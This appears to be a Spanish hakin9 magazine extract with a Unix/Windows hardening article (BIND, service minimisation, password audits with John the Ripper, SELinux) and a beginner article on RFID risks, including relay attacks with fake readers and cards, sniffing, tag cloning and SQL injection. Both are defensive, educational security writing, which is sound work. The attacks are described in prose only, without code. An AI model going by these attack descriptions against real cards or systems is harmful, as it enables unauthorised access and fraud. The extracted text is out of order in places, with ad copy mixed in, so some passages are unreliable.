pdf. debemos prestar especial atención.boran. Practical Unix and Internet Security. Ejemplos tenemos Nimda y Red alert que utilizaban vulnerabilidades de IIS. Wyman Miles. en sistemas Unix. nuestro sistema no es visible. este script lista los scripts utilizados en el arranque del sistema: /usr/bin/grep -v “^:” /etc/ inittab | /usr/bin/cut -d: -f4 /usr/bin/ls /etc/rc?. si se trata de un servidor externo ya que siempre estará más expuesto a posibles ataques. Esto incluye correo. Second Edition. Hay múltiples razones por las cuales se considera que un servicio DNS es generalmente un servicio clave. hace un DNS Spoof o monta un DNS Fake (un DNS falso que reemplaza al nuestro después de un DoS). Es muy aconsejable antes de desactivar cualquier servicio. Puede redirigir nuestros servicios (mail. es mejor desactivar el software. También existen precedentes de gusanos Unix. DoS: Si nuestros servidores DNS caen. Solaris C2 Security Module (BSM). los servicios dependientes de INETD o XINETD también deben ser considerados a todos los efectos como candidatos a ser desactivados. y es muy peligroso porque virtualmente desvía todas nuestras conexiones • • Ejemplo de asegurar aplicaciones del sistema: Bind Si nuestro sistema necesita ejecutar un servidor de nombres.cni.cmsd). Perdida de integridad: Si un atacante modifica nuestros datos.ccn. Developer. Un ejemplo del propio Alex Noordergraaf. ftp y cualquier otro servicio.conf generalmente. http.net/~mjr/pubs/think/index. Los gusanos aprovechan vulnerabilidades de serie para propagarse.htm. sobre todo Librería • • • • • • • • • • • • Armoring Solaris. Este demonio se instala por defecto en las instalación de End user. que buscan víctimas para crear repositorios públicos de warez (software pirata). Simon and Spafford. web.html.de/~bio/DOCS/aix510custom.com. que es totalmente innecesario en casi cualquier servidor. Huerta : http://andercheran. y se pueden parar o desactivar. existe un panel de control donde se puede ver los servicios que están actualmente corriendo. Hack Proofing Sun Solaris 8.html.upv. Hardening BIND DNS Server. Si no lo estamos usando. Lance Spilzner Solaris Installation Secure Standard Practices. estos dependen del fichero /etc/inittab y de la estructura de niveles de System V. etc) a otro sistema.nfr.com/software/security/jass/. esto es especialmente importante en sistemas como Solaris o AIX que disponen de gran cantidad de servicios habilitados por defecto (entre ellos FTP o Telnet) dependientes de INETD. En sistemas UNIX.es/ toni/personal/unixsec. puede inducir datos falsos a conexiones desde Internet. Daemon (rpc. Seguridad en redes y unix v2. 64 www. http://pubweb.Antonio V.sun. probar a pararlo y comprobar que el comportamiento del servidor es correcto y que no hemos desactivado nada crítico.aiind. buscan de forma automática sistemas que han dejado la configuración básica y dicha configuración trae un bug documentado que al necesitar corregirse de forma manual por el administrador que muchas veces desconoce que ese servicio se halle corriendo ya que no lo ha configurado ni tiene constancia de que exista. Garfinkel. o la distribución completa y tiene varias vulnerabilidades conocidas para las últimas versiones de Solaris. Sistemas BIND de múltiples versiones eran susceptibles a ataques de Buffer Overflow. es el OpenWindows Calendar Manager Server. JASS (Solaris Security Toolkit).hakin9. http://www-aix. que bien realizados permiten la ejecución de comandos remotos. y tiene un formato especial.es/series. Hay que tener en cuenta que las primeras líneas no comentadas de este fichero son necesarias para el arranque del sistema. Oregon Univ.Defensa lectura. Ahí se pueden ocultar también servicios programados para el arranque.org. Existen diversas referencias a la hora de minimizar servicios en cada arquitectura. Para desactivar servicios que están corriendo en nuestra máquina. securiteam. y ese día podemos ser vulnerables sin ninguna necesidad. Guías del CCN http://www.org .CISecurity. Asegurar Kernel AIX. Guías del CIS http://www.html. Janice Winsor. El fichero /etc/inittab contiene generalmente la secuencia de scripts de arranque del sistema.com/security/sp/Solaris_ bsm. ya que aunque no tenga una vulnerabilidad conocida ahora es más que probable que en un futuro alguien descubra una. Esto se puede parametrizar en /etc/inetd. Perdemos todos los servicios externos que dependan de un nombre. Solaris Advanced System Administrator's Guide.d/S* En sistemas Windows. y en el que debe prestarse especial atención a la hora de asegurar de forma correcta. http://www. aquí tenemos algunas razones por las cuales deberíamos considerar los riesgos de seguridad: • Un atacante puede obtener mucha información si las transferencias de zona son posibles: la lista entera de hosts y routers con dirección IP. En sistemas Unix. sus nombres e incluso comentarios dan datos para mapear nuestra red por parte del intruso. es decir. http://www.0 . Herramientas como Babel Enterprise traen juegos completos de servicios que deberían desactivarse por defecto en diferentes sistemas operativos. Esto se conoce como DNS Poisoning.gsi.

proporcionando una independencia entre los servicios del sistema y los mecanismos de autenticación utilizados. En cada sistema se puede hacer de una manera determinada. Es uno los de los puntos más vitales y a menudo más desprotegidos. Falsear datos de autenticación basada en direcciones de nombres. o a utilizar password poco seguras. FTP y SSH. Auditando los passwords con John the Ripper Es muy importante hacer una pequeña auditoría del grado de seguridad de los passwords (en sistemas con un número de usuarios medio/alto).ser En sistemas Unix. Utilizar la ultima versión conocida sin vulnerabilidades. No conviene en absoluto compartir el sistema con otros servicios. servidores de base de datos (como MySQL u Oracle). si nuestro proxy o firewall permite el paso a determinadas direcciones en función de su nombre. parches y permisos sobre los ficheros de configuración. OTP (One Time Password).com/john/. agentes SNMP. y es código libre: http:// www. Estar permanentemente y de forma periódica. versiones. configurados de forma segura. Ejecutar BIND con un usuario diferente de root. servidores Telnet. atento a nuevas vulnerabilidades de BIND para hacer un upgrade o instalar un parche cuando sea necesario. El uid asignado a cada usuario debe de ser único y no estar repetido. S/Key. Generalmente basta con comprobar un par de elementos clave. es necesario considerar los siguientes aspectos: • Lo primero que deberíamos tener en cuenta es que un servidor DNS debería estar montado sobre una máquina dedicada y asegurada al máximo. Lo mismo se aplica a muchos servicios que basan su autenticación en nombres en vez de IP (rlogin. gran parte de la información de usuarios y passwords se almacena en el fichero /etc/passwd. pero generalmente el sistema de login/password es uno de los factores más vulnerables. La arquitectura PAM ha venido a solucionar diferentes problemas históricos de la autenticación de usuarios en entornos Unix. Ocultar toda la información posible a un atacante siempre ayuda. los ejemplos más comunes son los servidores WEB (IIS. Generalmente sorprende ver como ciertas cuentas pueden tener passwords tan fácilmente adivinables. Restringir las transferencias de zona al mínimo. Podemos encontrar esta herramienta ampliamente difundida en Internet. Apache). servidores de correo como Sendmail o Postfix y un largo etcétera. dad. y como primer paso se deberá revisar este fichero y comprobar que no existen usuarios extraños ni ningún usuario con UID0 excepto root. y en GNU/Linux modificando los siguientes parámetros del fichero /etc/login.defs: CHFN_RESTRICT LOGIN_TIMEOUT LOGIN_RETRIES PASS_MAX_DAYS PASS_MIN_DAYS PASS_WARN_AGE ENV_SUPATH rwh 120 3 60 0 7 PATH= /usr/local/sbin:/usr/local/bin: /usr/sbin:/usr/bin:/sbin: /bin:/usr/bin/X11 ENV_PATH PATH= /usr/local/bin:/usr/bin:/bin: /usr/bin/X11:/usr/games FAIL_DELAY 10 Políticas de cuentas de usuarios y passwords • • • • • Existen multitud de servicios que pueden -y a menudo deben. Kerberos. cortas o que no caducan. Tampoco debemos tener ningún uid repetido. PAM (Pluggable Authentication Module) es un método estándar en muchos sistemas Unix que permite utilizar un método de autenticación diferente al estándar: tarjetas de coordinadas. Configurar BIND para que no informe sobre su número de versión. podemos falsear el DNS para evitar esta protección.hakin9. Para asegurar un servidor de nombres. servidores de aplicaciones (Tomcat).openwall. utilizando una herramienta como John the ripper para testear el grado de calidad de los passwords. tales como passwords por defecto. En sistemas Windows el comando para visualizar los usuarios del sistema es net user. Considerar seriamente la política de passwords e implementar una caducidad en los passwords. Seria interesante no permitir búsquedas recursivas. en Windows con el editor de políticas de seguri- Existen formas de implementar mecanismos de autenticación segura en sistemas Unix mediante módulos PAM especializados. especialmente en entornos complejos. o tener repartidos nuestros servidores de nombres en distintos emplazamientos lógicos (e incluso físicos) ayuda bastante a mitigar el posible daño de un DoS y las consecuencias que eso tiene. para ello podemos consultar CERT y BUGTRAQ. etc). Es de vital importancia el comprobar de forma periódica que no hay usuarios sin password. u otros. Redundancia: Instalar un servidor secundario en una red diferente (incluso como servidor contratado en una empresa ajena). El endurecimiento de las políticas de autenticación es generalmente molesto en un sistema cuyos usuarios ya se han acostumbrado a usar siempre la misma password. No debe de haber ningún usuario que no tenga password y en especial el usuario root. En Win- www.Securización de sistemas • a un site que puede estar controlado por el atacante. especialmente si estos implican el login de usuarios dentro del mismo host. Se ha detallado en profundidad seguridad de Bind simplemente como ejemplo. No debe haber ningún usuario sin password.org 65 . Para ello podemos dotar al sistema operativo de unas medidas más estrictas.

http://escert. y dan los resultados en un formato poco manejable. cni.org En la Red • • • • • http://sysinternals. dependiente del CNI (Centro Nacional de Inteligencia) que proveen de guías de militarización para diversos sistemas.org . Entornos críticos (Root). CIS http://www. Es una herramienta orientada a entornos corporativos que audita muchos de los parámetros descritos aquí. integrados también en los proyectos de seguridad de sistemas Unix: SECUR.com /avcenter/security/ Content/Product/Product_ESM. por grupos y tecnología. es un proyecto de Software Libre. http://www. tales como cuentas de usuarios (incluyendo un test con John de Ripper). necesitamos PWDUMP para poder emplear primero John. Es Director Técnico de Ártica Soluciones Tecnológicas. manteniendo además un histórico de la evaluación de cada sistema. de las cuales comentaremos dos: Enterprise Security Manager. http://www.html. Esto limita mucho las posibilidades de gestionar eficientemente un parque de sistemas importante (más de 10 máquinas). es decir.hakin9.sin una Estos proyectos además suelen comprobar algunos de los elementos críticos mencionados.upc. permite obtener resultados detallados de cada sistema así como evaluar numéricamente el grado de seguridad de cada sistema.sourceforge. Para ello existen herramientas especializadas.foofus. generalmente sobre un fichero en esa misma máquina. En sistemas Unix realizar un script es generalmente sencillo y existen muchos ejemplos. http://erwan. Permite mediante un despliegue de agentes ligeros (escritos en shellscript) auditar diferentes elementos de seguridad del sistema operativo. FTP y otros. manteniendo además un histórico de la evaluación de cada sistema.net). herramienta automática. Revisión de puertos abiertos y aplicaciones en escucha. Telnet. Sobre el Autor Sancho Lerena.nu. También existen diversos organismos. Automatización en la seguridad de sistemas • • • • Muchas de estas tareas son terriblemente manuales y difíciles de hacer -por su tediosidad.porcupine. JASS y YASSP. SSH. El principal problema de las herramientas de militarización o simplemente de auditoria de seguridad de sistemas (que comprueban qué esta mal. Generalmente estas guías son descripciones de procedimientos manuales complicadas de automatizar.fr/index. ESM necesita de agentes distribuidos en cada máquina que se quiere auditar. experto en seguridad en sistemas Unix. Esta sería una breve sinopsis: • • • • • Auditando permisos y ownership. Asegurando servicios remotos.es/index.free.php/web/es/index. Gestión de parcheado y actualización en diferentes plataformas. TITAN. Otras guías como las del CIS (Center for Internet Security) proveen herramientas y scripts de valoración que pueden ser muy interesantes. como la de verificar los permisos y la propiedad de los usuarios son complicadas sin tener una referencia de todos los ficheros críticos del sistema y los permisos y propietarios que deberían tener. gestión centralizada de parches y gestión centralizada de hashes de ficheros entre otras muchas características. Identificación de ficheros SUID0 del sistema.com/Blog/.html. http://ntsecurity.html.Defensa dows. Otras herramientas como Babel Enterprise permiten gestionar esto mismo de forma centralizada y particularizada para Sistema Operativo. entre ellos el Centro Criptográfico Nacional.org/forensics/column. búsqueda de SUID0.html.html Babel Enterprise (http://babel. minimización de servicios innecesarios. Identificando hosts sospechosos en redes adyacentes. pero no lo arreglan) es su carácter local. con varios años de experiencia en consultoría de seguridad en Sistemas. symantec. Existen herramientas como ASSET (solo para Solaris) que sirven para estos propósitos. de Symantec. se ejecutan en una máquina. Gestión del inventario de software instalado. De igual forma que ESM. Otras tareas importantes en la seguridad de sistemas Hemos hablado de las tareas críticas más habituales en la seguridad de sistemas.l. 66 www. Algunas tareas. Asegurar del entorno. Existen muchas tareas más que podemos realizar y que aún no hemos hablado de ellas. RLOGIN. aunque depende del grado de seguridad que queramos implementar.ccn. Ejecuta políticas parametrizadas por el usuario en un entorno centralizado y permite obtener resultados detallados de cada sistema así como evaluar numéricamente el grado de seguridad de cada sistema. Revisión de las políticas de auditoría y registro (Logs). permisos de ficheros. soportando gran variedad de plataformas y sistemas operativos.net/fizzgig/ wdump/. Guías del CCN: http://www.CISecurity. Estas tareas generalmente deben realizarse.es/series. pero son muy dependientes del sistema operativo. En esta página encontraremos información de como hacerlo: http:// www.

Los sistemas que implementan MAC.i-sec.org solutions flag FLAG solutions es una consultoría tecnológica que se apoya en 4 pilares básicos:la seguridad informática. comprometiendo totalmente la seguridad del sistema.net Ártica Soluciones Tecnológicas Ecija Consulting Ártica es una empresa de consultoría de capital nacional formada por profesionales con experiencia en el mundo de las Tecnologías de Información. recomendándole qué es lo mejor para su crecimiento. en donde se indica cuando un objeto puede acceder a otro objeto. Bajo SELinux. Contacto: www. HP-UX.net) puede considerarse como una implementación práctica del modelo de seguridad de control de acceso obligatorio basado en el núcleo del sistema operativo GNU/ Linux. SELinux y Pitbull Por último. consultores y técnicos.com67 . de TOS (Trusted Operating System) para sistemas GNU/Linux. Podemos hablar de dos herramientas de este tipo: SELinux (http://selinux.org Somos una consultora IT líder en asesoramiento integral de empresas.com / ) es una implementación.: 00 48 22 887-13-45 I-SEC Information Security Inc. Solaris.ecija. directorio u otro recurso. banca. el atacante puede obtener los máximos privilegios en la máquina. GNU/Linux. Otro modelo de control de acceso es el denominado control de acceso obligatorio (Mandatory Access Control. Este modelo de control de acceso puede aumentar el nivel de seguridad.org tel. donde existe una política de seguridad definida por el administrador y que los usuarios no pueden modificar. DAC) en el que un usuario tiene un completo control sobre los objetos que le pertenecen y los programas que ejecuta.Securización de sistemas Seguridad en sistemas de alto nivel. cuando se produce una vulnerabilidad de seguridad en una aplicación. hablo de la implementación de MLS (Multi Level Systems) como SELinux o Pitbull Los sistemas Unix habituales (AIX. Tiene diferentes versiones (LX. sistemas operativos seguros. ésta afecta a todos los objetos a los que el usuario tiene acceso. nos ha permitido especializarnos en el campo de la seguridad informática. Se trata de un producto de gran complejidad técnica y de administración y que proporciona una seguridad de grado militar. el diseño corporativo y la formación especializada para empresas. añadiendo además nuevas listas de control. Contacto: www. especialmente cuando se establece como base de la política definida que no se permite cualquier operación no expresamente autorizada. Nuestro ámbito de actuación está centrado en diversos sectores: industria. aportando a nuestras soluciones el valor añadido del conocimiento de la materia desde el punto de vista jurídico. BSD) utilizan utilizado el modelo de control de acceso discrecional (Discretionary Access Control. grupos o dominios para gestionar los permisos. el programa ejecutado por un usuario tendrá los mismos permisos de ese usuario que lo está ejecutando.es www. Pitbull (http://www. Nuestro equipo formado por abogados. Cada dominio posee un conjunto de operaciones que puede llevar a cabo sobre cada uno de los diferentes tipos de archivo. Esta política va más allá de establecer propietarios de archivos sino que fija contextos. Foundation). y telecomunicaciones. la ingeniería de sistemas. lo cual es más de lo que pueden decir cualquier producto similar. Flagsolutions Somos una Empresa dedicada y comprometida íntegramente con la Seguridad de la Información. buzon@ecija. proveedores de Internet.com. Contacto: http://www. se otorga acceso al sistema a los procesos en base a los diferentes dominios de ejecución.artica. añadiendo además nuevas características de seguridad como permisos mucho más granulares. grupos y usuarios.sourceforge. l SUBSCRIPCIÓN PRO Más información: es@hakin9. Proporcionamos soluciones rentables tanto para la pequeña como para la grande empresa. Esto implica que la seguridad del sistema depende de las aplicaciones que se están ejecutando y. Así mismo. y para terminar este breve artículo sobre la seguridad de sistemas. Contacto: www. me gustaría hablar sobre implementación de mejoras de alta seguridad sobre a los sistemas tradicionales. por tanto. simplemente añaden unos nuevos juegos de comandos y expanden los existentes. Si la aplicación es ejecutada por el usuario root. Nuestros Servicios se adaptan a la estructura de su empresa. Tiene la certificación Common Criteria LSPP de EAL 4+.flagsolutions.hakin9.argus-systems. MAC). AIX y Solaris.

org . proveer información relacionada con la identificación del producto. FrontEnds. datos de vencimientos entre otros. estas se diferencian entre si. Un Sistema de RFID suele basarse en varios componentes: Tags. datos de compra.. típicamente ubicada en el back-end. permitiendo esto un beneficio muy importante en lo que refiere a la logística. o bien otros datos específicos que puede contener el Tag. basado en uno de sus principales componentes los TAGS (Etiquetas) de RFID. como el control de accesos y el pago electrónico y la identificación de documentación personal. pero como no podía ser de otra manera le llegó el turno a RFID (Radio Frequency Identification). La privacidad de la información y la legislación vigente. (Ver Figura 1) Esa información transmitida por el Tag puede Lo que deberías saber. Middleware. al ser leída por el Lector de RFID transmite la información contenida en ella a la aplicación intermedia (Middleware) la cual. pero como veremos mas adelante la aplicación de esta tecnología. RFID. la cantidad de información En este artículo aprenderás.. la cual. Tag Readers. la ubicación de la mismo.hakin9.. precio. • • Nociones Básicas de medios físicos de comunicación inalámbrica. Back-Ends. Bluetooth entre otras. es una tecnología de identificación por radiofrecuencias. para finalmente tomar o depositar la información. también esta siendo adoptada en muchos otros aspectos y procesos. • • • • • Que es RFID (Radio Frecuency Identification). Cuales son sus aplicaciones más habituales. Nociones Básicas de seguridad en Infraestructura de aplicaciones Web. la distribución y la cadena de abastecimiento. en una base de datos. se encargara de procesarla. ya hemos visto pasar a varias tecnologías.11. Cuales son los riesgos. que permite el reconocimiento automático a distancia. RFID – La tecnología y sus componentes Esta tecnología permite la transmisión de información a distancia gracias a la etiqueta RFID (TAG). 68 www.. Como funcional esta Tecnología. R FID.Para principiantes RFID – Otro round entre la funcionalidad y la seguridad Ezequiel Martin Sallis Grado de dificultad En la lucha eterna del equilibrio entre la seguridad y la funcionalidad. solo por mencionar algunas 802. tales como color. RFID – Tipos de Etiquetas Existen distintos tipos de etiquetas (Ver Figura 2). por la frecuencia en la que operan.

sus progenitores. pueda encenderse y comenzar a transmitir (Backscatter). 433. típicamente esta tecnología es la que se utiliza para las cadenas de distribución y abastecimiento. Etiqueta RFID www. Identificación en medicamentos de la fecha de vencimiento o bien la información sobre los efectos secundarios del mismo. Identificación de convictos. sino que la pequeña corriente inducida en la antena. existen numerosas aplicaciones para estas tecnologías (Ver Figura 3 y 4). un lugar donde se la utiliza suele ser por ejemplo los sistemas de pase automático de las autopistas. Existen tres tipos: • Etiquetas Pasivas – Estas operan en la Frecuencia de los 13. Estas etiquetas son las de menos tamaño. • • MySQL HTTP Management Interface M LC A PI Podemos agregar a esto. Adicionalmente. Medios de pago electrónico (Mastercard Paypass). Otras.RFID que pueden contener. salvo por el agregado de una pequeña batería.92 MHz. Sistemas de Control de acceso. • Ultra-High Frequency (915 MHz. es el que esta bajo el estándar EPC (Electronic Product Code). Identificación de pasaportes. Identificación de pacientes. RFID – Tipos de Frecuencias Aplicaciones de RFID Existen distintas frecuencias en las que los sistemas de RFID.hakin9. cada una de ellas representa distintos pro y contras en base a su aplicación. produce la energía suficiente para que el circuito integrado. en cualquier momento de la cadena de abastecimiento. utilizada en la identificación de productos. Microwaves Utilizadas para grandes distancias y mayor velocidad. Arquitectura Básica Figura 2. el tipo de funcionamiento y su durabilidad.56 MHZ y no tienen fuente de energía interna. por lo cual la antena no debe preocuparse por recolectar la dicha corriente. por ende las mas livianas y con una vida útil que puede ir hasta los 99 años. se encuentran típicamente en tarjetas utilizadas para el control de acceso (Contact less Smartcards). que ya existen implementaciones de RFID mandatorias.5 kHz) Las etiquetas y lectores de baja frecuencia. Etiquetas Activas – Las etiquetas activas poseen su propia fuente de energía y son capaces de alcanzar mayores distancias (10 metros aproximadamente). a poseer una batería su vida útil de es de hasta 10 años. entre otras aplicaciones podemos mencionar las siguientes: • Implementaciones ganaderas. Hoy en día. trabajando en intervalos definidos de operación. brindada por la señal entrante de la frecuencia radial. La distancia en este caso es muy acotada y esta limitada a centímetros. por ejemplo entre algunas de las empresas y organizaciones que han emitido su mandato de implementación podemos mencionar Q yS DB Gateway HTTP Mopq *Plus Postgres OC11 0/SQL LD SQ Orado MO RFID Reader Interface SQL Server Figura 1.2 kHz y de 140 a 148.org 69 . muchas otras aplicaciones… • High Frequency (13. esta batería mantiene una corriente continua en la memoria no volátil del circuito integrado. La antena esta más optimizada a su función de transmisión de radio frecuencia lo cual hace que sea más rápida y robusta que los Tags Pasivos. Convictos y otros). Etiquetas Semipasivas – Son muy similares a las etiquetas Pasivas. Identificación de billetes de alta denominación. Identificación de entradas a eventos deportivos y espectáculos (Mundial Alemania 2006). o 315 MHz) • • • • • • • • Dependiendo la tecnología pueden llegar a operar en una distancia de hasta 10 Metros o mas. pero la mas creciente. operan en el rango que va de los 30 metros a los 100 metros.56 MHz) Esta frecuencia opera en distancias de hasta un metro y se utiliza típicamente en la Identificación de productos o personas (Pacientes. su historial. la cual brinda una clave única para un producto o ballet. estos economizan el consumo de energía. que permite detallar información sobre el mismo. Low Frequency (125 a 134. Identificación de registros de conducir. pueden operar. sus descendientes y su producción. para la identificación de ganado.

Pasaporte con RFID 70 www. si nosotros continuamente compramos con tarjetas de créditos. el tema de la privacidad vs RFID y por otro. se han levantado movimientos en contra de esta tecnología. a modo de ilustrar un poco mas la relevancia que se le da a esta problemática: RFID – Riesgos – Desde la invasión a la privacidad hasta SQL Injection • California – SB1834 Tal como mencionamos. Igualmente. como así también en algunos lugares de Europa. La fecha limite fue postergada en varias ocasiones. en el país del norte ya existe gran cantidad de legislación encargada de proteger la privacidad de los consumidores y otros aspectos relacionados con la utilización de la tecnología RFID. sus mensajes y sus descuentos para acrecentar sus ventas. hacer un estudio de nuestros consumos. setear cookies en nuestras PCs… y siendo que todo esto permite potencialmente realizar un seguimiento sobre nosotros. argumentando que la misma invade la privacidad de los ciudadanos. Es por esto que a continuación. impactando de esta manera en miles de compañías alrededor de todo el mundo. a decir verdad. en nuestra introducción. 2005. como por ejemplo anti-depresivos. SB 181 Requiere de la advertencia al usuario sobre la existencia de Etiquetas de RFID en los productos que adquiere. esta tipo de cosas nos llevarían a preguntarnos por ejemplo: • Y si comprase medicamentos RFID-tagged. por un lado.hakin9. New Hampshire – HB 203 Requiere la comunicación escrita o verbal. este ultimo. es por esto que ya.Privacidad Los especialistas piensan en como transformar esta tecnología en la herramienta para poder establecer y entender el perfil del consumidor tan buscado y trataran de personalizar sus productos. utilizamos tarjetas shopping para los descuentos. Entre algunas de las leyes existentes podemos mencionar las siguientes. como así también. haremos un breve análisis de los riesgos.org . nos encontramos nuevamente en la dificultad de buscar el equilibrio entre la funcionalidad de esta tecnología y los riesgos que esta puede introducir desde la óptica de la seguridad de la información. permitimos a las páginas Web.Para principiantes al DOD (Departamento de Defensa de los Estados Unidos) y a Wal-Mart. y con sinceridad. por parte del comercio de que el producto que vende contiene una etiqueta. en pos de que los tags de sus productos no sean utilizados para la identificación de un individuo. poder ubicarnos en un determinado momento… ¿De que nos preocupamos entonces con el RFID?. • Restringe la manera en que los comercios de California utilizan los Tags de RFID. ¿quisiera que alguien que pase caminando a mi lado (o no tan a mi lado) lo sepa? Y si estoy en mi casa. y alguien pasa con su auto y un lector de RFID. ¿puede determinar todo lo que he comprado hasta el momento y establecer mis características de consumidor? Y con esta tecnología en mi ropa. indicar el procedimiento para realizar la remoción del mismo. debido a que muchos vendedores tuvieron dificultades al implementar los sistemas de RFID. Junio 25. RFID . ¿alguien puede determinar con precisión donde encontrarme? quizás este conflicto se demore un tiempo en llegar por estos lados. Massachussets – HB 1447. en fin si bien. obliga a todos sus Proveedores a colocar los Tags de RFID en todos los productos que tengan como destino final la Gondola de Wal-Mart. desde dos ópticas bien diferenciadas. Mastercard Paypass Figura 4. tanto en Estados Unidos. Reader Power Card RF Field IC IC Data Figura 3. por otro lado limita la información de la etiqueta a aspectos de inventario solamente. damos nuestros datos a cambio de una remera de Merchandising de una compañía. desde un punto de vista bien técnico algunas de las técnicas de ataques ya presentes contra algunas implementaciones de esta tecnología.

.

RFID – SQL Injection. Destrucción del TAG y Prevención de Lectura. el seguimiento de productos. ni tampoco se permita realizar su seguimiento. RFID – Riesgos Técnicos Los sistemas RFID. Si bien. Figura 5. la información de la tarjeta y el pin era almacenado en el POST Interceptor para una posterior utilización fraudulenta. como el control de acceso físico. para realizar la transferencia de datos. Lo que se ha logrado en un estudio llevado a la cabo por la Universidad de Tel Aviv (Israel).org . Utah – HB 185 Enmienda la ley de delitos informáticos para la inclusión de la tecnología RFID. que desactivara el chip para siempre. Las iplementaciones de estos sistemas en Pasaportes. típicamente podría llevar su tarjeta colgando en la cintura como habitualmente se hace. ya que en la mayoría de los casos este no detecta el MITM (Man in The Middle). es que creando RFID – Prevención de Lectura La idea de esto. los datos a otros dispositivo similar. el hecho de que la comunicación entre un extremo y el otro va cifrada (Ver Figura 4). este podría ser sorprendido por un potencial atacante. los riesgos mas publicitados de esta tecnología se relacionan con la privacidad. y lo hace a través de RFID. esta incrementándose día a día y uno de los puntos mas importantes. los sistemas de pago y otros más. prácticamente sin limites de distancia. la tarjeta falsa (Ghost). de manera que este no pueda ser identificado. Sniffing. RFID Zapper Figura 7. pero en una dosis menor. el cual utiliza el método del microondas. mediante un POST Interceptor y gracias a la utilización de algoritmos de Encripción débiles Static Data Authentication (SDA). para la identificación y el seguimiento de Estudiantes. para el acceso físico a una área restringida. a continuación veremos algunos otros. • • • • • • • Relay Attacks en tarjetas de proximidad. Modificado para actuar y emular a un lector (Leech). que en la mayoría de este tipo de ataques. requiere poco conocimiento técnico para ser realizado. Prevención de Lectura 72 www. Spoofing. esto podría llevarse adelante cortando la antena o bien friendo el tag en un microondas. pero de seguro que el producto también resultrará destruido. se comunica con otros dispositivos sin la necesidad de contacto físico. El concepto de esta ataque nace en base a un ataque basado en memory cards. uno podría impersionar un usuario o una transacción.Para principiantes Rhode Island – HB 5929 Prohíbe la utilización de RFID. que cuente con una smartcard contactless. la idea del mismo es destruir el tag pasivo colocado en un producto. sino la de prevenir su lectura. RFID – Destrucción del TAG RFID – Relay Attacks en Tarjetas de Proximidad Este tipo de ataque. empleados y clientes con fines que beneficien al negocio. Subterráneo). evitando así la destrucción del producto. un usuario de una organización. en este caso. que es leída y procedida por el lector. en relaciona a esta tecnología y a la seguridad es por un lado su corto rango de operación (10 Centímetros aproximadamente) y por otro. típicamente este tipo de acciones esta motivada en defensa de la privacidad de los consumidores Técnicamente. la cual por ultimo y estando cerca del lector orginal. RFID – Virus. mediante la generación de un campo electromagnético fuerte. transmitirá los datos recibidos y brindara acceso al intruso al área restringida 9Ver Figura 5). en un recinto donde exista poco espacio y gran cantidad de gente (Ascensor. se relacionan con varios procesos críticos. Es importante destacar. una vez logrado esto.hakin9. como para lograr activar el smartcard del usuario. como así tampoco el cifrada de datos. la distancia no importa. es por eso que se creo el RFID-Zapper (Figura 6). a la creciente implementación de smart cards. las cuales no tienen la capacidad de procesar la información y almacenan la misma en una banda magnética. allí el potencial atacante podría acercarse lo suficiente. Algoritmos de Encripción débiles. el atacante transmitirá en tiempo real vía GRPS. no es desactivar el tag pasivo. la tarjeta es pasiva y es activada por el lector. que también deberían ser considerados. y a sus variados usos es que los atacantes optan por el Ataque de Relay y utilizan la información en Real Time. Un Sistema de Smartcard sin contacto (ISO 14443A). Pongamos un ejemplo. mediante un Smartphone. Figura 6. Es en base a lo anterior. como vimos. Smartcard Relay Attack un lector falso (Leech) y una tarjeta falsa (Ghost). medios de pago electrónico y tarjetas de acceso (Típicamente Físico).

Gerhard Hancke & Dr Markus Kuhn. Existen dos materiales que impiden la lectura de RFID el metal y el agua. Python library for exploring RFID devices – http://rfidiot. Practical Relay Attacks Against ISO 14443 Proximity Cards . Low Cost Attacks on Tamper Resistant Devices . la falta de validación de entrada de datos y la falta de metodologías seguras de programación hacen que esto sea posible.org. En base a la estructura de una implementación RFID (Figura 1). prestando servicios para empresas del ámbito Gubernamental. en este tipo de ataques.Sergi Skorobogatov.uk/~gh275/relay. entre otras cosas.edu/news_info/ news/home05/jan05/rfid.org 73 . que podrían permitir acceder a información no autorizada. org/papers/percom. sino que al igual que en las aplicaciones Web y similares. o bien. Asesoramiento con la Norma ISO 17799:2005 Management de Proyectos y otros. Si bien se trata de un ataque ya conocido y muy utilizado hoy en día.jhu.org. a lo largo de este artículo.hakin9.cl. Texas Instruments DST attack – http://www. Otro aspecto a tener en cuenta es la cantidad de datos que pueden entrar en un tag. entre las que se pueden mencionar CISSP. • • • el fin de esta practica es la protección de la privacidad. en un tag en blanco. de hecho. ya se realizaron dos ataques (en ambiente controlado) uno se baso en sniffear. esto es posible por falta de controles de seguridad adecuados en el middleware y en la base de datos. se han realizado en ambiente de laboratorios.edu/news_info/news/ home05/jan05/rfid. previamente. cam. org/wiki/smartdust. Ethical Hacking y otras. Conclusión RFID – SQL Injection Sobre el Autor Ezequiel Martín Sallis CISSP/NSP desarrolló su carrera en INFOSEC.pdf. la incorporación de nuevas tecnologías. cam.06.Klaus Finkenzeller. con bases en Argentina y presencia internacional. Vulnerability Assesment. Smartdust – http://en. org/papers/percom. en un TAG en blanco.cl. Publico y Privado tanto a nivel nacional como internacional.html. en lo procesos del negocio. ha trabajado durante largo tiempo en las consultoras mas prestigiosas.ac. no tiene relación directa con la tecnología RFID en si misma. Python library for exploring RFID devices – http://rfidiot. Actualmente es Director del Área de Research & Development de I-SEC Information Security. RFID virus – http://www.wikipedia.pdf. Por ultimo cabe aclarar que este tipo de ataques. Penetration Test.wikipedia. esto no es un limitante ya que con pocas cantidades de información se puede causar un gran impacto. Texas Instruments DST attack – http: //www. Hardening de Plataformas. Smartdust–http://en. con base en el aprendizaje y actualización continua. una Consultora especializada en Seguridad.org/ wiki/smartdust. Ha participado como Orador en gran cantidad de seminarios y eventos internacionales. como hemos visto anteriormente también podrían prevenir ataques de Relay contra las tarjetas de proximidad (Imagínense cuan cerca podría estar alguien de su tarjeta en un ascensor).html.rfidvirus. RFID Essentials – O’Reilly. Es instructor de gran cantidad de capacitaciones tanto a nivel nacional.pdf.jhu. como a nivel internacional.06. se utilizo para desactivar un sistema de alarmas para automobiles basado en la inmobilización del mismo. l • • • • • • • • • www. no solo debe contra con una análisis funcional y económico. Low Cost Attacks on Tamper Resistant Devices Ross Anderson & Markus Kuhn. es por eso que como profesionales de seguridad tenemos que desarrollar también el sentido de la percepción y la creatividad.RFID En la Red • Fundamentals and Applications in Contactless Smartcards & Identification Klaus Finkenzeller. Como hemos podido leer. • • • • • Un atacante podría escribir. sino también que la seguridad debe ser uno de los puntos a tener muy en cuenta. este ataque se basa en la inyección a la base de datos (Back-End) de sentencias SQL especialmente creadas.Ross Anderson & Markus Kuhn. datos validos que impersionen a un producto.rfidvirus. Ha trabajado 